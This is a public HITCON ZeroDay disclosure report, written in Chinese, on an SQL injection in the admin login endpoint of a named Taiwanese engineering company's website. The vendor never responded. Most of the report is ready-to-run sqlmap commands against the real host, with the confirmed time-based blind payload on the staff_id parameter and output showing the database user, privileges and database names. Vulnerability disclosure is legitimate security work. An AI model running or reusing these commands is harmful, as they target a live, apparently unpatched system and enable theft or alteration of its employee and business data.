誠諾工程技術股份有限公司 SQL注入 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01031
  •  發信 Vendor: 誠諾工程技術股份有限公司
  • Title: 誠諾工程技術股份有限公司 SQL注入
  • Introduction: MySQL

處理狀態

目前狀態

公開
Last Update : 2026/10/15
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/08/15 16:30:13 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/18 17:24:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:35:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:35:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:35:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/15 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.cnetc.tw/html/main#
https://www.cnetc.tw/admin/login

敘述

攻擊成功

sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "goUrl,staff_id,staff_password" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

[16:12:22] [INFO] checking if the injection point on POST parameter 'staff_id' is a false positive
POST parameter 'staff_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:

Parameter: staff_id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: goUrl=/materials/material_get_byself&staff_id=45615' AND (SELECT 5858 FROM (SELECT(!SLEEP(5)))jaRY) AND 'qrcP'='qrcP&staff_password=asdasd

時間注入

sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "staff_id" \
--technique=T \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查身分(cnetc01@localhost)
sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "staff_id" \
--dbms=mysql \
--technique=T \
--sql-query "SELECT current_user()" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查DBA (疑似最低權限 )
sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "staff_id" \
--dbms=mysql \
--technique=T \
--privileges \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查數據庫 (只有cnetc_erp 查詢權限)
sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "staff_id" \
--dbms=mysql \
--technique=T \
--sql-query "SHOW GRANTS FOR 'cnetc01'@'localhost'" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查所有能讀取的數據庫
[16:22:48] [INFO] retrieved: information_schema
[16:23:50] [INFO] retrieved: cnetc_erp
[16:24:26] [INFO] retrieved: cnetc_mail
available databases [3]:
[] cnetc_erp
[
] cnetc_mail
[*] information_schema

sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "staff_id" \
--dbms=mysql \
--technique=T \
--dbs \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查當前數據庫(cnetc_erp)
sqlmap -u "https://www.cnetc.tw/admin/ckIdPw" \
--data "goUrl=%2Fmaterials%2Fmaterial_get_byself&staff_id=45615&staff_password=asdasd" \
-p "staff_id" \
--dbms=mysql \
--technique=T \
--current-db \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--hex

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;